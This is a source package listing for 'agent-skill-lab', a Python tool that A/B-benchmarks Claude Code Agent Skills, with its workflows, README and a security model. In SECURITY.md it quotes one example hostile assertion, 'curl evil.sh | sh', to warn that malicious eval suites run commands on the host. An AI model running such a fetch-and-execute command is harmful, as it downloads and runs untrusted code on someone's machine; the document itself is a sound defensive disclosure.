agent-skill-lab 0.1.0__tar.gz

agent_skill_lab-0.1.0/.gitattributes

@@ -0,0 +1 @@
+* text=auto eol=lf

agent_skill_lab-0.1.0/.github/workflows/ci.yml

@@ -0,0 +1,27 @@
+name: CI
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+
+jobs:
+  test:
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, windows-latest, macos-latest]
+        python: ["3.10", "3.11", "3.12"]
+    runs-on: ${{ matrix.os }}
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-python@v5
+        with:
+          python-version: ${{ matrix.python }}
+      - name: Install
+        run: pip install -e ".[dev]"
+      - name: Test
+        # The suite is hermetic: it stubs the agent, so no ANTHROPIC_API_KEY or
+        # claude CLI is needed. This is the real cross-platform proof, Linux
+        # included, that the runner, assertions, and stats work everywhere.
+        run: python -m pytest -q

agent_skill_lab-0.1.0/.github/workflows/release.yml

@@ -0,0 +1,25 @@
+name: Release to PyPI
+
+# Publishes on a version tag (e.g. v0.1.0). Uses PyPI Trusted Publishing
+# (OIDC) — configure the publisher at pypi.org first; no token secret needed.
+on:
+  push:
+    tags: ["v*"]
+
+jobs:
+  build-and-publish:
+    runs-on: ubuntu-latest
+    environment: pypi
+    permissions:
+      id-token: write   # for trusted publishing
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-python@v5
+        with:
+          python-version: "3.11"
+      - name: Build
+        run: |
+          pip install build
+          python -m build
+      - name: Publish
+        uses: pypa/gh-action-pypi-publish@release/v1

agent_skill_lab-0.1.0/.gitignore

@@ -0,0 +1,21 @@
+__pycache__/
+*.py[cod]
+*.egg-info/
+build/
+dist/
+.pytest_cache/
+.venv/
+venv/
+
+# Benchmark output lives inside each skill directory.
+**/.agent-skill/runs/
+
+# Third-party agent skills installed via `npx skills add` (e.g. strix).
+.agents/
+.claude/
+
+# strix lockfile from npx skills add
+skills-lock.json
+
+# build artifacts
+dist/

agent_skill_lab-0.1.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Elfan
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

agent_skill_lab-0.1.0/PKG-INFO

@@ -0,0 +1,278 @@
+Metadata-Version: 2.5
+Name: agent-skill-lab
+Version: 0.1.0
+Summary: Reproducible testing, benchmarking, and regression testing for Agent Skills.
+License: MIT
+License-File: LICENSE
+Requires-Python: >=3.10
+Requires-Dist: pyyaml>=6.0
+Provides-Extra: dev
+Requires-Dist: pytest>=7.0; extra == 'dev'
+Description-Content-Type: text/markdown
+
+# Agent Skill Lab
+
+Reproducible A/B testing for Agent Skills.
+
+A `SKILL.md` is a prompt you ship to other people. This tool answers the only
+question that matters about one: **does it actually make the agent better, or
+does it just feel like it does?**
+
+It runs the same task twice — once with a baseline agent, once with the skill
+installed — repeats that N times, checks the results with deterministic
+assertions, and reports the difference with a confidence interval attached.
+
+```
+                    Without       With
+Task success            50%       100%
+Assertion score        0.83       1.00
+Tokens                8,700      7,100
+Time                     55s        41s
+
+IMPACT   (95% bootstrap CI on the delta)
+
+  Task success        +50.0pp   [+20.0, +80.0]   p=0.033
+~ Tokens              -23.0%    [-41.2%, +2.1%]
+
+CONFIDENCE  MEDIUM  (N=5 per condition)
+~ marks a delta not distinguishable from run-to-run noise.
+
+PER TASK  (success rate)
+
+task-001                  0%       100%
+task-002                100%       100%
+```
+
+The per-task breakdown matters: an aggregate `+50pp` driven entirely by one
+task is a different finding from one spread across all of them.
+
+## Install
+
+```bash
+pip install agent-skill-lab
+```
+
+Or from a clone: `pip install -e .`
+
+Requires Python 3.10+, `git`, and an authenticated [Claude Code](https://claude.com/claude-code)
+CLI on `PATH`. Tested on Linux, macOS, and Windows (CI runs the suite on all
+three across Python 3.10–3.12). Verify the agent side works before benchmarking
+anything:
+
+```bash
+claude -p "reply with OK" --output-format json
+```
+
+If that returns `"Failed to authenticate"`, log in first — every run in this tool
+shells out to that same command.
+
+## Use
+
+```bash
+agent-skill init my-skill      # scaffold SKILL.md + evals/
+agent-skill validate my-skill  # static checks, no tokens spent
+agent-skill test my-skill      # the A/B benchmark
+agent-skill report my-skill    # re-render the last run
+```
+
+### 1. Validate
+
+Runs before every benchmark, and refuses to spend tokens on a broken suite.
+
+```
+  [ok]   SKILL.md exists
+  [ok]   valid YAML frontmatter
+  [ok]   frontmatter has 'name'
+  [ok]   frontmatter has 'description'
+  [ok]   referenced files exist (2/2)
+  [ok]   [task-001] prompt is customised, not the scaffold placeholder
+  [warn] model 'sonnet' is a pinned version (aliases drift between releases)
+```
+
+### 2. Write eval tasks
+
+```yaml
+id: task-001
+name: Make calc errors typed
+
+prompt: |
+  The test suite in tests/ fails. Fix src/calc.py so every test passes.
+  Do not modify anything under tests/.
+
+fixture: fixtures/task-001
+
+assertions:
+  - type: command          # did it solve the task?
+    run: "python -m pytest -q"
+    expect_exit: 0
+
+  - type: file_contains    # did it follow the convention the skill teaches?
+    path: src/calc.py
+    pattern: "raise CalcError\\([^)]*code="
+
+  - type: file_unchanged   # anti-gaming: editing the tests does not count
+    path: tests/test_calc.py
+```
+
+Assertion types: `command`, `file_exists`, `file_absent`, `file_contains`,
+`file_changed`, `file_unchanged`.
+
+Before burning tokens, check two things — neither spends a cent:
+
+```bash
+agent-skill test my-skill --dry-run    # can the suite even measure work?
+agent-skill test my-skill --estimate   # what will a real run cost?
+```
+
+`--dry-run` runs the assertions against the untouched fixture. Anything that
+passes there is flagged `[TRIVIAL]` — it would pass even if the agent did
+nothing. (Assertions that check for the *absence* of something — `file_absent`,
+`file_unchanged`, or a `file_contains` with `expect: false` — are guards, and
+correctly pass on the pristine fixture.)
+
+`--estimate` projects cost and wall time as a range. With no history it is a
+coarse prior; after one real run it uses your own recorded per-run cost. A real
+`test` prints the estimate first, then runs.
+
+### 3. Benchmark
+
+```bash
+agent-skill test my-skill -n 10
+```
+
+## How it works
+
+Per run:
+
+1. The task fixture is copied into a throwaway temp directory.
+2. That directory is `git init`-ed and committed, which is what makes
+   `file_changed` / `file_unchanged` assertions possible.
+3. In the **with-skill** condition only, the skill is copied to
+   `.claude/skills/<name>/` inside that workspace. The `evals/` directory is
+   excluded — leaking it would hand the agent its own grading criteria.
+4. `claude -p "<prompt>" --output-format json` runs with the workspace as cwd,
+   with `--setting-sources project`. (Note: in practice this does not fully hide
+   your personal `~/.claude` skills — see "Known gap" above. They appear in both
+   conditions, so the delta stays attributable to the skill under test.)
+5. Assertions run against the resulting workspace; tokens, cost and wall time
+   come from the agent's own JSON result.
+6. The workspace is deleted (`--keep-workspace` to inspect it).
+
+Results land in `<skill>/.agent-skill/runs/*.json`, with one summary line per
+invocation appended to `<skill>/.agent-skill/history.jsonl`.
+
+## Design decisions worth knowing
+
+**No LLM judge.** Scoring is deterministic: assertions pass or they don't. An
+LLM grader adds a second noisy component on top of an already noisy agent, and
+you can no longer tell which one moved. Quality rubrics are a later addition,
+not the foundation.
+
+**Every delta carries an uncertainty estimate.** Agent runs are
+non-deterministic; the same prompt gives different token counts and sometimes
+different outcomes. A single number invites false regression alarms. Anything
+not separable from noise is printed with `~` and called inconclusive.
+
+**Task success is judged by Fisher's exact test, not by the bootstrap.** This
+was not the original design — it was forced by testing the tool against a
+deliberately noisy stub agent with a weak 60%-vs-50% effect. The percentile
+bootstrap called that a *conclusive regression* on the first attempt: five
+Bernoulli samples per condition is exactly the regime where it is
+anti-conservative. Fisher's exact test on the 2×2 outcome table has no such
+problem at small N, and still detects a real effect at N=5 (0/5 vs 5/5 gives
+p=0.008). Continuous metrics keep the bootstrap interval, at 95% to match the
+same 0.05 threshold.
+
+**Secondary metrics are not corrected for multiple comparisons.** Five metrics
+per report at a 5% threshold means roughly one report in seven contains a
+secondary claim that is not real. The report says so out loud when it makes one
+below N=10, rather than letting you believe all five numbers equally.
+
+**Confidence is labelled by sample size.** N<5 is `LOW` and says so in the
+verdict. The tool will not pretend five runs are evidence — at N=1 it reports
+the observed delta and then explicitly refuses to conclude from it.
+
+**Pin your model.** `model: sonnet` is an alias that moves between releases. A
+comparison against a run from last month is meaningless if the model changed
+underneath it. `validate` warns about this.
+
+**The baseline carries Claude Code's bundled skills.** They appear in both
+conditions, so the delta stays attributable to the skill under test, and they
+are identical across installs of the same version. `isolation: bare` removes
+them for a clean-room baseline (needs `ANTHROPIC_API_KEY`).
+
+**This is decision support, not an oracle.** `--strict` exists for CI, but
+consider making the CI job a warning rather than a hard block, and gate it on
+`SKILL.md` actually having changed — every invocation spends real tokens.
+`N tasks × N repeats × 2 conditions` agent runs is not free the way a unit test
+is free.
+
+## Examples
+
+Three complete, runnable skills live in `examples/`, each mixing a "did it
+work" command assertion with a "did it the right way" content assertion:
+
+| Skill | Domain | The convention it checks |
+|---|---|---|
+| `error-handling` | code style | raises carry a machine-readable `code=` |
+| `sql-parameterization` | security | queries use placeholders, never f-strings |
+| `type-hints` | typing | functions get annotated params + return type |
+
+```bash
+agent-skill validate examples/sql-parameterization
+agent-skill test examples/sql-parameterization --dry-run
+agent-skill test examples/sql-parameterization --estimate
+agent-skill test examples/sql-parameterization -n 5
+```
+
+Each is built so the difference is visible: a baseline agent usually makes the
+tests pass, but only the skilled agent reliably follows the convention. "Tests
+pass" and "did it the right way" are different questions — which is exactly why
+a single assertion is not enough.
+
+## CI
+
+`examples/ci/skill-eval.yml` is a GitHub Actions template. It triggers only when
+`SKILL.md` or `evals/` changed, and posts the report as a PR comment instead of
+failing the build.
+
+## Validated against a live agent
+
+Run end-to-end against the real `claude` CLI, not just a stub. Two things the
+example run demonstrated, both worth internalising before you trust any number:
+
+- **A lucky small sample lies, and the tool catches it.** At N=3 the example
+  skill scored a clean 3/3 vs 0/3 — an apparent +100pp. At N=5 the same skill,
+  same prompt, scored 1/5 (+20pp, p=1.000). The effect is real but weak and
+  inconsistent; three runs happened to catch a good streak. A tool that reports
+  one number would have published "+100% success". This one reported "not
+  distinguishable from noise" and asked for more runs. That is the whole point.
+
+- **Availability is not invocation.** A skill in `.claude/skills/` is *discovered*
+  by the agent but only *used* when its description matches the task. The prompt
+  "make the tests pass" did not trigger an error-handling skill; "add proper
+  error handling following this project's conventions" did. Your eval prompt is
+  a real variable — the same skill looks useless or useful depending on it.
+
+Baseline isolation, found in the same run: the headless agent always sees the
+skills that ship with Claude Code (design, code-review, …). They are **not** your
+personal `~/.claude` skills — they are bundled with the install, so they are the
+same for anyone on the same Claude Code version, and they appear in *both*
+conditions, cancelling out of the delta. For a true clean-room baseline set
+`isolation: bare` in `evals.yaml` (runs the agent with `--bare`); it needs
+`ANTHROPIC_API_KEY`, since bare mode never reads your OAuth login. The default
+keeps the bundled skills and works with OAuth.
+
+## Status
+
+MVP, Claude Code only: `init`, `validate`, `test` (with `--dry-run`,
+`--estimate`, `--strict`), `report`. Tested on Linux/macOS/Windows across
+Python 3.10–3.12; the test suite stubs the agent, so CI needs no API key.
+
+Deliberately not built yet: LLM-as-judge quality scoring, a `regression`
+command (the history file it needs is already being written), cross-agent
+`benchmark`, and `audit` for skill security.
+
+## License
+
+MIT

agent_skill_lab-0.1.0/README.md

@@ -0,0 +1,266 @@
+# Agent Skill Lab
+
+Reproducible A/B testing for Agent Skills.
+
+A `SKILL.md` is a prompt you ship to other people. This tool answers the only
+question that matters about one: **does it actually make the agent better, or
+does it just feel like it does?**
+
+It runs the same task twice — once with a baseline agent, once with the skill
+installed — repeats that N times, checks the results with deterministic
+assertions, and reports the difference with a confidence interval attached.
+
+```
+                    Without       With
+Task success            50%       100%
+Assertion score        0.83       1.00
+Tokens                8,700      7,100
+Time                     55s        41s
+
+IMPACT   (95% bootstrap CI on the delta)
+
+  Task success        +50.0pp   [+20.0, +80.0]   p=0.033
+~ Tokens              -23.0%    [-41.2%, +2.1%]
+
+CONFIDENCE  MEDIUM  (N=5 per condition)
+~ marks a delta not distinguishable from run-to-run noise.
+
+PER TASK  (success rate)
+
+task-001                  0%       100%
+task-002                100%       100%
+```
+
+The per-task breakdown matters: an aggregate `+50pp` driven entirely by one
+task is a different finding from one spread across all of them.
+
+## Install
+
+```bash
+pip install agent-skill-lab
+```
+
+Or from a clone: `pip install -e .`
+
+Requires Python 3.10+, `git`, and an authenticated [Claude Code](https://claude.com/claude-code)
+CLI on `PATH`. Tested on Linux, macOS, and Windows (CI runs the suite on all
+three across Python 3.10–3.12). Verify the agent side works before benchmarking
+anything:
+
+```bash
+claude -p "reply with OK" --output-format json
+```
+
+If that returns `"Failed to authenticate"`, log in first — every run in this tool
+shells out to that same command.
+
+## Use
+
+```bash
+agent-skill init my-skill      # scaffold SKILL.md + evals/
+agent-skill validate my-skill  # static checks, no tokens spent
+agent-skill test my-skill      # the A/B benchmark
+agent-skill report my-skill    # re-render the last run
+```
+
+### 1. Validate
+
+Runs before every benchmark, and refuses to spend tokens on a broken suite.
+
+```
+  [ok]   SKILL.md exists
+  [ok]   valid YAML frontmatter
+  [ok]   frontmatter has 'name'
+  [ok]   frontmatter has 'description'
+  [ok]   referenced files exist (2/2)
+  [ok]   [task-001] prompt is customised, not the scaffold placeholder
+  [warn] model 'sonnet' is a pinned version (aliases drift between releases)
+```
+
+### 2. Write eval tasks
+
+```yaml
+id: task-001
+name: Make calc errors typed
+
+prompt: |
+  The test suite in tests/ fails. Fix src/calc.py so every test passes.
+  Do not modify anything under tests/.
+
+fixture: fixtures/task-001
+
+assertions:
+  - type: command          # did it solve the task?
+    run: "python -m pytest -q"
+    expect_exit: 0
+
+  - type: file_contains    # did it follow the convention the skill teaches?
+    path: src/calc.py
+    pattern: "raise CalcError\\([^)]*code="
+
+  - type: file_unchanged   # anti-gaming: editing the tests does not count
+    path: tests/test_calc.py
+```
+
+Assertion types: `command`, `file_exists`, `file_absent`, `file_contains`,
+`file_changed`, `file_unchanged`.
+
+Before burning tokens, check two things — neither spends a cent:
+
+```bash
+agent-skill test my-skill --dry-run    # can the suite even measure work?
+agent-skill test my-skill --estimate   # what will a real run cost?
+```
+
+`--dry-run` runs the assertions against the untouched fixture. Anything that
+passes there is flagged `[TRIVIAL]` — it would pass even if the agent did
+nothing. (Assertions that check for the *absence* of something — `file_absent`,
+`file_unchanged`, or a `file_contains` with `expect: false` — are guards, and
+correctly pass on the pristine fixture.)
+
+`--estimate` projects cost and wall time as a range. With no history it is a
+coarse prior; after one real run it uses your own recorded per-run cost. A real
+`test` prints the estimate first, then runs.
+
+### 3. Benchmark
+
+```bash
+agent-skill test my-skill -n 10
+```
+
+## How it works
+
+Per run:
+
+1. The task fixture is copied into a throwaway temp directory.
+2. That directory is `git init`-ed and committed, which is what makes
+   `file_changed` / `file_unchanged` assertions possible.
+3. In the **with-skill** condition only, the skill is copied to
+   `.claude/skills/<name>/` inside that workspace. The `evals/` directory is
+   excluded — leaking it would hand the agent its own grading criteria.
+4. `claude -p "<prompt>" --output-format json` runs with the workspace as cwd,
+   with `--setting-sources project`. (Note: in practice this does not fully hide
+   your personal `~/.claude` skills — see "Known gap" above. They appear in both
+   conditions, so the delta stays attributable to the skill under test.)
+5. Assertions run against the resulting workspace; tokens, cost and wall time
+   come from the agent's own JSON result.
+6. The workspace is deleted (`--keep-workspace` to inspect it).
+
+Results land in `<skill>/.agent-skill/runs/*.json`, with one summary line per
+invocation appended to `<skill>/.agent-skill/history.jsonl`.
+
+## Design decisions worth knowing
+
+**No LLM judge.** Scoring is deterministic: assertions pass or they don't. An
+LLM grader adds a second noisy component on top of an already noisy agent, and
+you can no longer tell which one moved. Quality rubrics are a later addition,
+not the foundation.
+
+**Every delta carries an uncertainty estimate.** Agent runs are
+non-deterministic; the same prompt gives different token counts and sometimes
+different outcomes. A single number invites false regression alarms. Anything
+not separable from noise is printed with `~` and called inconclusive.
+
+**Task success is judged by Fisher's exact test, not by the bootstrap.** This
+was not the original design — it was forced by testing the tool against a
+deliberately noisy stub agent with a weak 60%-vs-50% effect. The percentile
+bootstrap called that a *conclusive regression* on the first attempt: five
+Bernoulli samples per condition is exactly the regime where it is
+anti-conservative. Fisher's exact test on the 2×2 outcome table has no such
+problem at small N, and still detects a real effect at N=5 (0/5 vs 5/5 gives
+p=0.008). Continuous metrics keep the bootstrap interval, at 95% to match the
+same 0.05 threshold.
+
+**Secondary metrics are not corrected for multiple comparisons.** Five metrics
+per report at a 5% threshold means roughly one report in seven contains a
+secondary claim that is not real. The report says so out loud when it makes one
+below N=10, rather than letting you believe all five numbers equally.
+
+**Confidence is labelled by sample size.** N<5 is `LOW` and says so in the
+verdict. The tool will not pretend five runs are evidence — at N=1 it reports
+the observed delta and then explicitly refuses to conclude from it.
+
+**Pin your model.** `model: sonnet` is an alias that moves between releases. A
+comparison against a run from last month is meaningless if the model changed
+underneath it. `validate` warns about this.
+
+**The baseline carries Claude Code's bundled skills.** They appear in both
+conditions, so the delta stays attributable to the skill under test, and they
+are identical across installs of the same version. `isolation: bare` removes
+them for a clean-room baseline (needs `ANTHROPIC_API_KEY`).
+
+**This is decision support, not an oracle.** `--strict` exists for CI, but
+consider making the CI job a warning rather than a hard block, and gate it on
+`SKILL.md` actually having changed — every invocation spends real tokens.
+`N tasks × N repeats × 2 conditions` agent runs is not free the way a unit test
+is free.
+
+## Examples
+
+Three complete, runnable skills live in `examples/`, each mixing a "did it
+work" command assertion with a "did it the right way" content assertion:
+
+| Skill | Domain | The convention it checks |
+|---|---|---|
+| `error-handling` | code style | raises carry a machine-readable `code=` |
+| `sql-parameterization` | security | queries use placeholders, never f-strings |
+| `type-hints` | typing | functions get annotated params + return type |
+
+```bash
+agent-skill validate examples/sql-parameterization
+agent-skill test examples/sql-parameterization --dry-run
+agent-skill test examples/sql-parameterization --estimate
+agent-skill test examples/sql-parameterization -n 5
+```
+
+Each is built so the difference is visible: a baseline agent usually makes the
+tests pass, but only the skilled agent reliably follows the convention. "Tests
+pass" and "did it the right way" are different questions — which is exactly why
+a single assertion is not enough.
+
+## CI
+
+`examples/ci/skill-eval.yml` is a GitHub Actions template. It triggers only when
+`SKILL.md` or `evals/` changed, and posts the report as a PR comment instead of
+failing the build.
+
+## Validated against a live agent
+
+Run end-to-end against the real `claude` CLI, not just a stub. Two things the
+example run demonstrated, both worth internalising before you trust any number:
+
+- **A lucky small sample lies, and the tool catches it.** At N=3 the example
+  skill scored a clean 3/3 vs 0/3 — an apparent +100pp. At N=5 the same skill,
+  same prompt, scored 1/5 (+20pp, p=1.000). The effect is real but weak and
+  inconsistent; three runs happened to catch a good streak. A tool that reports
+  one number would have published "+100% success". This one reported "not
+  distinguishable from noise" and asked for more runs. That is the whole point.
+
+- **Availability is not invocation.** A skill in `.claude/skills/` is *discovered*
+  by the agent but only *used* when its description matches the task. The prompt
+  "make the tests pass" did not trigger an error-handling skill; "add proper
+  error handling following this project's conventions" did. Your eval prompt is
+  a real variable — the same skill looks useless or useful depending on it.
+
+Baseline isolation, found in the same run: the headless agent always sees the
+skills that ship with Claude Code (design, code-review, …). They are **not** your
+personal `~/.claude` skills — they are bundled with the install, so they are the
+same for anyone on the same Claude Code version, and they appear in *both*
+conditions, cancelling out of the delta. For a true clean-room baseline set
+`isolation: bare` in `evals.yaml` (runs the agent with `--bare`); it needs
+`ANTHROPIC_API_KEY`, since bare mode never reads your OAuth login. The default
+keeps the bundled skills and works with OAuth.
+
+## Status
+
+MVP, Claude Code only: `init`, `validate`, `test` (with `--dry-run`,
+`--estimate`, `--strict`), `report`. Tested on Linux/macOS/Windows across
+Python 3.10–3.12; the test suite stubs the agent, so CI needs no API key.
+
+Deliberately not built yet: LLM-as-judge quality scoring, a `regression`
+command (the history file it needs is already being written), cross-agent
+`benchmark`, and `audit` for skill security.
+
+## License
+
+MIT

agent_skill_lab-0.1.0/SECURITY.md

@@ -0,0 +1,40 @@
+# Security model
+
+This tool runs an eval suite authored by a **skill author** against a benchmark
+harness run by a **skill evaluator**. Those are frequently not the same person:
+the whole point is to test skills before trusting them, and
+[research on Agent Skills](https://arxiv.org/abs/2510.02508) has confirmed
+malicious skills in the wild. So the eval suite (`task.yaml`) is treated as
+attacker-controlled input.
+
+## What is contained
+
+- **Assertion file paths** (`file_exists`, `file_contains`, `file_changed`, …)
+  are confined to the per-run workspace. A `path:` containing `..` or an
+  absolute path is refused, not resolved against the host. This was a real
+  finding, fixed in `assertions.py::_confine`; see
+  `tests/test_assertions.py::test_path_traversal_is_refused`.
+
+- **The skill's `evals/` directory is never copied** into the agent's
+  workspace, so a skill cannot read its own grading criteria.
+
+## What is NOT contained — read before testing a skill you did not write
+
+- **`command` assertions execute on the host**, with `shell=True`, with your
+  privileges. A malicious suite can put `run: "curl evil.sh | sh"` in a
+  `command` assertion and it will run when you benchmark it. This is inherent to
+  running test commands at all, and the tool does not sandbox them. `validate`
+  prints a warning naming every task that contains a command assertion.
+
+  **Mitigation:** read a downloaded skill's `evals/*.yaml` before
+  `agent-skill test`, exactly as you would read a `Makefile` or `conftest.py`
+  before running it. For untrusted skills, run inside a container or VM.
+
+- **The agent itself runs with `--dangerously-skip-permissions`** inside the
+  workspace, because a benchmark cannot stop for interactive approval. The
+  workspace is a throwaway temp copy, but the agent process still runs on the
+  host.
+
+A future `audit` command (static scan of a skill for suspicious shell commands,
+credential access, and network egress before you ever run it) is the planned
+answer to the untrusted-skill case. It is not built yet.